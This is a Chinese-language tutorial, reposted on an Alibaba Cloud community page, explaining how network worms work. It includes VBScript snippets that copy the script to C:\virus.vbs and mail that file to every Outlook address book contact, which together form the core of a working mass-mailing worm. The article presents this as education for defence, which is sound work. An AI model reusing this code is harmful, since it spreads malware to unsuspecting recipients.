蠕蟲的原理

來源:互聯網
上載者:User

如今對大家的電腦威脅最大的就屬網路蠕蟲了!網路蠕蟲的危害之大簡直令人吃驚,從大名鼎鼎的“愛蟲”到“歡樂時光”,再到“紅色代碼”,其破壞力越來越強,因此我們有必要瞭解網路蠕蟲。

蠕蟲與一般的電腦病毒不同,它不採用將自身拷貝附加到其他程式中的方式來複製自己,所以在病毒中它也算是一個“另類”。蠕蟲的破壞性很強,部分蠕蟲不僅可以在網際網路上興風作浪,區域網路也成了它們“施展身手”的舞台――蠕蟲可以潛伏在基於客戶機/服務機模式的區域網路的服務機上的軟體內,當客戶機訪問服務機,並對有毒的軟體實施下載後,病毒就神不知、鬼不覺地從服務機上“拷貝”到客戶機上了。

其實指令碼病毒是很容易製造的,它們都利用了視窗系統的開放性的特點。特別是COM到COM+的組件編程思路,一個指令碼程式能調用功能更大的組件來完成自己的功能。以VB指令碼病毒(如歡樂時光、 I Love You 、庫爾尼科娃病毒、Homepage病毒等)為例,他們都是把.vbs指令檔添在附件中,最後使用*.htm.vbs等詐騙檔案名稱。下面我們詳細瞭解一下蠕蟲的幾大特性,從中找到對付蠕蟲的方法。

一、蠕蟲具有自我複製能力

我們以普通的VB指令碼為例來看看:

Set objFs=CreateObject (“Scripting.FileSystemObject”)
'建立一個檔案系統對象
objFs.CreateTextFile ("C:\virus.txt", 1)
'通過檔案系統對象的方法建立了一個TXT檔案。
如果我們把這兩句話儲存成為.vbs的VB指令檔,點擊就會在C盤中建立一個TXT檔案了。倘若我們把第二句改為:
objFs.GetFile (WScript.ScriptFullName).Copy ("C:\virus.vbs")

就可以將自身複製到C盤virus.vbs這個檔案。本句前面是開啟這個指令檔,WScript.ScriptFullName指明是這個程式本身,是一個完整的路徑檔案名稱。GetFile函數獲得這個檔案,Copy函數將這個檔案複製到C盤根目錄下virus.vbs這個檔案。這麼簡單的兩句就實現了自我複製的功能,已經具備病毒的基本特徵――自我複製能力。

二、蠕蟲具有很強的傳播性

病毒需要傳播,電子郵件病毒的傳播無疑是通過電子郵件傳播的。對於OutLook來說地址簿的功能相當不錯,可是也給病毒的傳播開啟了方便之門。幾乎所有通過OutLook傳播的電子郵件病毒都是向地址簿中儲存的電子郵件地址發送內同相同的指令碼附件完成的。看看如下的代碼:

Set objOA=Wscript.CreateObject ("Outlook.Application")
'建立一個OUTLOOK應用的對象
Set objMapi=objOA.GetNameSpace ("MAPI")
'取得MAPI名字空間
For i=1 to objMapi.AddressLists.Count
'遍曆地址簿
Set objAddList=objMapi.AddressLists (i)
For j=1 To objAddList. AddressEntries.Count
Set objMail=objOA.CreateItem (0)
objMail.Recipients.Add (objAddList. AddressEntries (j))
'取得收件者郵件地址
objMail.Subject="你好!"
'設定郵件主題
objMail.Body="這次給你的附件,是我的新文檔!"
'設定信件內容
objMail.Attachments.Add (“c:\virus.vbs")
'把自己作為附件擴散出去
objMail.Send
'發送郵件
Next
Next
Set objMapi=Nothing
'清空objMapi變數,釋放資源,值得學習的編程習慣
Set objOA=Nothing
'清空objOA變數

這一小段代碼的功能是向地址簿中的使用者寄送電子郵件,並將自己作為附件擴散出去。這段代碼中的第一行是建立一個Outlook的對象,是必不可少的。在其下是一個迴圈,在迴圈中不斷地向地址簿中的電子郵件地址發送內容相同的信件。蠕蟲就是這樣進行傳播的。

相關文章

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。